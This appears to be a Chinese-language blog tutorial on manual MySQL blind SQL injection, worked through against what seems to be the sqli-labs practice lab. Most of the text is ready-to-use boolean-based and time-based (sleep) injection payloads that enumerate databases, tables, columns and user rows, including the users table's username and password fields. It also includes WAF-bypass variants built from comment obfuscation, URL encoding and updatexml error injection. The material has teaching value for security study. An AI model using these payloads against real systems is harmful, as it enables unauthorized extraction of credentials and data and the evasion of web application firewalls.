mysql手工注入——盲注
一 . 可以查看有幾個數據庫 ?
命令如下
' and (select count(*) from information_schema.schemata limit 0,1)=6 --+
證明有6個數據庫。
?
二 . 查數據庫名長度
大于7 回顯正常
大于8 回顯不正常
我們可以確定數據庫名長度為8
?
三 . 猜庫名
(1)使用left()方法去猜解庫名
Database=’security’
?
繞WAF:
zzy/Less-5/?id=1/*&id=1' and (substr(database(),1,1)='e')--+*/
(2)使用extractvalue函數或updatexml函數報錯處理
?
繞WAF:
Less-5/?id=1%27%20%20and%20`updatexml`/**/(1,concat(char(32,58,32),/*!11144database*/(/**/)),1)--+
所有庫:
(2)?二分法? 逐字猜解
猜有幾個表 命令如下:
' and (select count(*) from information_schema.tables where table_schema='security')=4--+
發現security庫下有四張表
我們用substr方法去一個表一個表的進行猜解
猜第一張表,命令如下:
' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 --+
上圖中1表示security庫中第一行的表的第一個字符的ascii碼大于100 ?回顯正確
在圖中2 ?這里簡單舉個例子關于substr()函數
Substr(a,b,c) 是在a中從第b個位置找, c表示找幾個
這里1,1表示第一個字符
注:當a等于0或1時,都是從第一位開始截取
第一個字符ascii碼是101 對應查表是e
第二個字符ascii碼是109 對應查表是m
如法炮制 我們得到了第一行的表名為emails
?
接下來我們猜第二張表
命令如下:
' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))>100 --+
確定第一個字符ascii碼為114 ?是r
確定第二個字符是e
這樣一個表一個表進行猜解
最終得到security庫下四個表為 emails,referers,uagents,users
?
繞WAF:
(2)二分法
我們發現有個表名叫users很有可能就是保存敏感數據的地方 我們對users進行猜解字段
先猜有幾個字段
' and (select count(*) from information_schema.columns where table_name='users')=3--+
發現有三個字段
?
跟前面一樣 我們用substr方法逐字猜解,這里可用 ord(mid(語句)) 結果是一樣的
命令如下:
' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105 --+
得到第一個字段的第一個字符為i
這樣一直猜下去 得到三個字段分別為id ?username ?password
繞WAF:
如法炮制 可以一直猜解下去
那么問題來了 到底有多少個username 多少個用戶呢
命令為:' and (select count(*) from security.users)=13 --+ ?
回顯正常 ?說明有13行 ?13個用戶
慢慢猜把
附加
一、基于布爾的盲注:
1.判斷是否存在注入,注入是字符型還是數字型,例:1 or 1=1,1’ or ‘1’='1
2.猜解當前數據庫名,例:猜長度 and length(database())=1 #,逐個猜字符and ascii(substr(databse(),1,1))>97#
3.猜解數據庫中的表名,例:猜表數量 ?and (select count (table_name) from information_schema.tables where table_schema=database())=1 #,逐個猜表名長度and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #,再逐個猜表名字符 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
4.猜解表中的字段名,例:猜字段數量and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 #,逐個猜字段長度and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #,再逐個猜字段字符(可用二分法)
5.猜解數據,先猜數據記錄數(可用二分法),再逐個字段猜數據的長度及數據(可用二分法)
二、基于時間的盲注(對于沒有任何輸出可作為判斷依據的可采用此法,感覺到明顯延遲,則說明猜中):
1.判斷是否存在注入,注入是字符型還是數字型,例:and sleep(5) #
2.猜解當前數據庫名,例:猜長度 and if(length(database())=1,sleep(5),1) # ,逐個猜字符 and if(ascii(substr(database(),1,1))>97,sleep(5),1)
3.猜解數據庫中的表名,例:猜表數量 and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)#,逐個猜表名長度 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1),再逐個猜表名字符?
4.猜解表中的字段名,例:猜字段數量 and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)#,逐個猜字段長度 and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # ,再逐個猜字段字符(可用二分法)
5.猜解數據,先猜數據記錄數(可用二分法),再逐個字段猜數據的長度及數據(可用二分法)
總結
以上是生活随笔為你收集整理的mysql手工注入——盲注的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: NMAP扫描技巧:TCP空闲扫描
- 下一篇: 内网flash钓鱼